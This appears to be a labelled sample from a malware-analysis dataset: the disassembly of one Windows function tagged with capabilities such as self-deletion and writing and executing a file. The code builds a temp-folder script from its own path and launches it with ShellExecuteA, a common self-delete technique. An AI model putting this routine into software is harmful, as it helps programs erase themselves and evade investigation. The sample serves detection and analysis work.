Function at 0x4031b1
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x2a0]
sub esp, 0x320
mov eax, dword [0x432c20]
xor eax, ebp
mov dword [ebp + 0x29c], eax
push ebx
push esi
push edi
mov esi, 0x42d700
lea edi, [ebp + 0x28c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x103
push esi
xor edi, edi
lea eax, [ebp + 0x189]
push edi
push eax
mov byte [ebp + 0x188], 0
call fcn.00414570
push esi
lea eax, [ebp + 0x85]
push edi
push eax
mov byte [ebp + 0x84], 0
call fcn.00414570
push esi
lea eax, [ebp - 0x7f]
push edi
push eax
mov byte [ebp - 0x80], 0
call fcn.00414570
add esp, 0x24
lea eax, [ebp + 0x84]
push eax
lea ebx, [esi + 1]
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp + 0x28c]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40323b
lea edi, [ebp + 0x84]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40324b
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
lea eax, [ebp + 0x188]
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x188]
push eax
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.004135e4
lea eax, [ebp - 0x80]
push 0x5c
push eax
call fcn.00413150
add esp, 0x14
test eax, eax
je 0x403299
mov byte [eax], 0
lea eax, [ebp + 0x84]
push 0x42d710
push eax
call fcn.00413710
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4033de
push esi
xor edi, edi
inc edi
push edi
push 9
push 0x42d714
call fcn.00412804
push esi
push edi
push 5
push 0x42d720
call fcn.00412804
lea eax, [ebp + 0x188]
add esp, 0x20
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4032e1
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp + 0x188]
push eax
call fcn.00412804
push esi
push edi
push 2
mov ebx, 0x42d728
push ebx
call fcn.00412804
push esi
push edi
push 0xa
push 0x42d72c
call fcn.00412804
lea eax, [ebp + 0x188]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403322
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp + 0x188]
push eax
call fcn.00412804
push esi
push edi
push 0xf
push 0x42d738
call fcn.00412804
push esi
push edi
push 7
push 0x42d748
call fcn.00412804
lea eax, [ebp - 0x80]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40335f
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.00412804
push esi
push edi
push 3
push ebx
call fcn.00412804
push esi
push edi
push 5
push 0x42d720
call fcn.00412804
lea eax, [ebp + 0x84]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403398
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp + 0x84]
push eax
call fcn.00412804
push esi
push edi
push edi
push 0x42d750
call fcn.00412804
push esi
call fcn.00412626
add esp, 0x24
xor eax, eax
push eax
push eax
push eax
lea ecx, [ebp + 0x84]
push ecx
push 0x42d754
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp + 0x29c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041214d
add ebp, 0x2a0
leave
ret